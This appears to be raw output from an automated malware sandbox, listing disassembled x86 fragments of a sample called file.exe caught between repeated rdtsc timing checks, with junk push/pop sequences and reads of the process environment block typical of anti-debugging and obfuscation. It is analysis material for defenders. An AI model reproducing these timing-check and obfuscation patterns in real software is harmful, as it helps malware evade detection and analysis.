Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB089C second address: 4DB0793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b xor esi, eax 0x0000000d lea eax, dword ptr [ebp-10h] 0x00000010 push eax 0x00000011 call 00007FE2B57E093Eh 0x00000016 mov edi, edi 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007FE2B0E330DBh 0x00000022 and ax, 7B7Eh 0x00000027 jmp 00007FE2B0E330E9h 0x0000002c popfd 0x0000002d popad 0x0000002e mov cx, 21C7h 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 jmp 00007FE2B0E330DAh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov edx, ecx 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90039 second address: 4D90049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90049 second address: 4D9004D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9004D second address: 4D9009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE2B0E6B88Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov bx, si 0x00000015 pushfd 0x00000016 jmp 00007FE2B0E6B88Ah 0x0000001b add cl, 00000038h 0x0000001e jmp 00007FE2B0E6B88Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE2B0E6B895h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9009D second address: 4D900E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f jmp 00007FE2B0E330DEh 0x00000014 sub esp, 18h 0x00000017 pushad 0x00000018 mov cx, 9D09h 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE2B0E330DEh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900E2 second address: 4D900E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900E6 second address: 4D900EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900EC second address: 4D900F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900F1 second address: 4D90106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ebx, 42449746h 0x00000010 mov dx, E1D2h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90106 second address: 4D90119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90119 second address: 4D90134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE2B0E330E0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90134 second address: 4D90139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90139 second address: 4D90166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 6A42CAE2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, dword ptr [eax+10h] 0x0000000f pushad 0x00000010 mov edx, 118ED43Ah 0x00000015 mov si, di 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bx, BFEAh 0x00000021 jmp 00007FE2B0E330DBh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90166 second address: 4D901B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE2B0E6B88Fh 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007FE2B0E6B892h 0x00000016 mov esi, dword ptr [757806ECh] 0x0000001c pushad 0x0000001d mov cx, E7DDh 0x00000021 mov si, 24D9h 0x00000025 popad 0x00000026 test esi, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FE2B0E6B88Bh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D901B2 second address: 4D901F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FE2B0E33D33h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E330E8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D901F1 second address: 4D90200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90200 second address: 4D9024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FE2B0E330DCh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE2B0E330E1h 0x00000019 and eax, 234EA246h 0x0000001f jmp 00007FE2B0E330E1h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 mov ax, C5CDh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9024A second address: 4D902D1 instructions: 0x00000000 rdtsc 0x00000002 mov ch, F1h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, edi 0x00000008 pushad 0x00000009 mov dx, BBA6h 0x0000000d mov si, di 0x00000010 popad 0x00000011 call dword ptr [75750B60h] 0x00000017 mov eax, 7668E5E0h 0x0000001c ret 0x0000001d jmp 00007FE2B0E6B899h 0x00000022 push 00000044h 0x00000024 pushad 0x00000025 call 00007FE2B0E6B88Ch 0x0000002a pushfd 0x0000002b jmp 00007FE2B0E6B892h 0x00000030 sbb ecx, 62871BA8h 0x00000036 jmp 00007FE2B0E6B88Bh 0x0000003b popfd 0x0000003c pop ecx 0x0000003d movsx edx, si 0x00000040 popad 0x00000041 pop edi 0x00000042 jmp 00007FE2B0E6B890h 0x00000047 xchg eax, edi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov edx, 008A1620h 0x00000050 movsx edx, ax 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902D1 second address: 4D902E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902E3 second address: 4D902E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902E7 second address: 4D90311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE2B0E330DEh 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 mov si, 322Dh 0x00000014 mov ax, C429h 0x00000018 popad 0x00000019 push dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90311 second address: 4D90315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90315 second address: 4D9031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9031B second address: 4D90321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90321 second address: 4D90325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90325 second address: 4D90342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000030h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE2B0E6B88Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90342 second address: 4D90348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90348 second address: 4D9034C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90371 second address: 4D9037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 4434h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9037A second address: 4D904C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007FE2B0E6B890h 0x00000010 test esi, esi 0x00000012 jmp 00007FE2B0E6B890h 0x00000017 je 00007FE3217DAB82h 0x0000001d jmp 00007FE2B0E6B890h 0x00000022 sub eax, eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE2B0E6B897h 0x0000002b xor ax, B68Eh 0x00000030 jmp 00007FE2B0E6B899h 0x00000035 popfd 0x00000036 mov ecx, 4FD6A597h 0x0000003b popad 0x0000003c mov dword ptr [esi], edi 0x0000003e jmp 00007FE2B0E6B88Ah 0x00000043 mov dword ptr [esi+04h], eax 0x00000046 pushad 0x00000047 movzx ecx, dx 0x0000004a pushfd 0x0000004b jmp 00007FE2B0E6B893h 0x00000050 or cl, 0000004Eh 0x00000053 jmp 00007FE2B0E6B899h 0x00000058 popfd 0x00000059 popad 0x0000005a mov dword ptr [esi+08h], eax 0x0000005d jmp 00007FE2B0E6B88Eh 0x00000062 mov dword ptr [esi+0Ch], eax 0x00000065 pushad 0x00000066 pushfd 0x00000067 jmp 00007FE2B0E6B88Eh 0x0000006c jmp 00007FE2B0E6B895h 0x00000071 popfd 0x00000072 jmp 00007FE2B0E6B890h 0x00000077 popad 0x00000078 mov eax, dword ptr [ebx+4Ch] 0x0000007b jmp 00007FE2B0E6B890h 0x00000080 mov dword ptr [esi+10h], eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FE2B0E6B897h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D904C1 second address: 4D9050B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+50h] 0x0000000c jmp 00007FE2B0E330DEh 0x00000011 mov dword ptr [esi+14h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE2B0E330E7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9050B second address: 4D90545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 889Ah 0x00000007 mov ch, bl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebx+54h] 0x0000000f jmp 00007FE2B0E6B88Ah 0x00000014 mov dword ptr [esi+18h], eax 0x00000017 jmp 00007FE2B0E6B890h 0x0000001c mov eax, dword ptr [ebx+58h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ax, di 0x00000025 mov bx, 3A4Ch 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90545 second address: 4D90590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov ebx, 28382D50h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esi+1Ch], eax 0x00000011 pushad 0x00000012 movsx ebx, si 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop edx 0x00000018 pushfd 0x00000019 jmp 00007FE2B0E330E8h 0x0000001e and al, FFFFFFC8h 0x00000021 jmp 00007FE2B0E330DBh 0x00000026 popfd 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [ebx+5Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90590 second address: 4D90594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90594 second address: 4D905AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905AF second address: 4D905B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905B5 second address: 4D905B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905B9 second address: 4D905BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905BD second address: 4D905F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+20h], eax 0x0000000b jmp 00007FE2B0E330E7h 0x00000010 mov eax, dword ptr [ebx+60h] 0x00000013 pushad 0x00000014 pushad 0x00000015 mov bl, cl 0x00000017 mov dx, 4F82h 0x0000001b popad 0x0000001c mov di, E1CEh 0x00000020 popad 0x00000021 mov dword ptr [esi+24h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905F9 second address: 4D905FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905FD second address: 4D90603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90603 second address: 4D90609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90609 second address: 4D90645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b jmp 00007FE2B0E330E7h 0x00000010 mov dword ptr [esi+28h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E330E5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90645 second address: 4D906D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+68h] 0x0000000c jmp 00007FE2B0E6B88Eh 0x00000011 mov dword ptr [esi+2Ch], eax 0x00000014 jmp 00007FE2B0E6B890h 0x00000019 mov ax, word ptr [ebx+6Ch] 0x0000001d jmp 00007FE2B0E6B890h 0x00000022 mov word ptr [esi+30h], ax 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE2B0E6B88Eh 0x0000002d sbb ah, FFFFFF98h 0x00000030 jmp 00007FE2B0E6B88Bh 0x00000035 popfd 0x00000036 movzx eax, di 0x00000039 popad 0x0000003a mov ax, word ptr [ebx+00000088h] 0x00000041 jmp 00007FE2B0E6B88Bh 0x00000046 mov word ptr [esi+32h], ax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906D5 second address: 4D906D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906D9 second address: 4D906DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906DF second address: 4D906E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907AB second address: 4D907E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a lea eax, dword ptr [ebx+00000080h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE2B0E6B897h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907E5 second address: 4D907EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907EA second address: 4D907FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907FC second address: 4D90800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90800 second address: 4D90806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90806 second address: 4D90859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d jmp 00007FE2B0E330E2h 0x00000012 pushad 0x00000013 mov ah, 6Ah 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FE2B0E330E5h 0x00000021 xor ah, FFFFFFF6h 0x00000024 jmp 00007FE2B0E330E1h 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90859 second address: 4D9087A instructions: 0x00000000 rdtsc 0x00000002 mov ax, 94E7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c nop 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE2B0E6B892h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9087A second address: 4D9088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90931 second address: 4D9095F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE2B0E6B88Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9095F second address: 4D90999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE3217A1E25h 0x0000000f jmp 00007FE2B0E330DEh 0x00000014 mov eax, dword ptr [ebp-0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE2B0E330DAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90999 second address: 4D9099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9099F second address: 4D909BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov ah, 27h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+04h], eax 0x0000000d jmp 00007FE2B0E330DBh 0x00000012 lea eax, dword ptr [ebx+78h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909BF second address: 4D909C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909C6 second address: 4D90A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE2B0E330DFh 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 00000001h 0x0000000e jmp 00007FE2B0E330DFh 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bh, 69h 0x00000019 jmp 00007FE2B0E330DCh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A00 second address: 4D90A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A06 second address: 4D90A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A0A second address: 4D90A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, 04B9h 0x00000013 movzx ecx, bx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90ACB second address: 4D90B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007FE2B0E330E0h 0x00000010 test edi, edi 0x00000012 jmp 00007FE2B0E330E0h 0x00000017 js 00007FE3217A1C8Ch 0x0000001d jmp 00007FE2B0E330E0h 0x00000022 mov eax, dword ptr [ebp-04h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B21 second address: 4D90B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B26 second address: 4D90B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B2C second address: 4D90B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B30 second address: 4D90B9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b jmp 00007FE2B0E330DAh 0x00000010 lea eax, dword ptr [ebx+70h] 0x00000013 jmp 00007FE2B0E330E0h 0x00000018 push 00000001h 0x0000001a pushad 0x0000001b mov dx, si 0x0000001e pushfd 0x0000001f jmp 00007FE2B0E330DAh 0x00000024 adc eax, 772FC7C8h 0x0000002a jmp 00007FE2B0E330DBh 0x0000002f popfd 0x00000030 popad 0x00000031 nop 0x00000032 jmp 00007FE2B0E330E6h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B9A second address: 4D90BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90C89 second address: 4D90C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
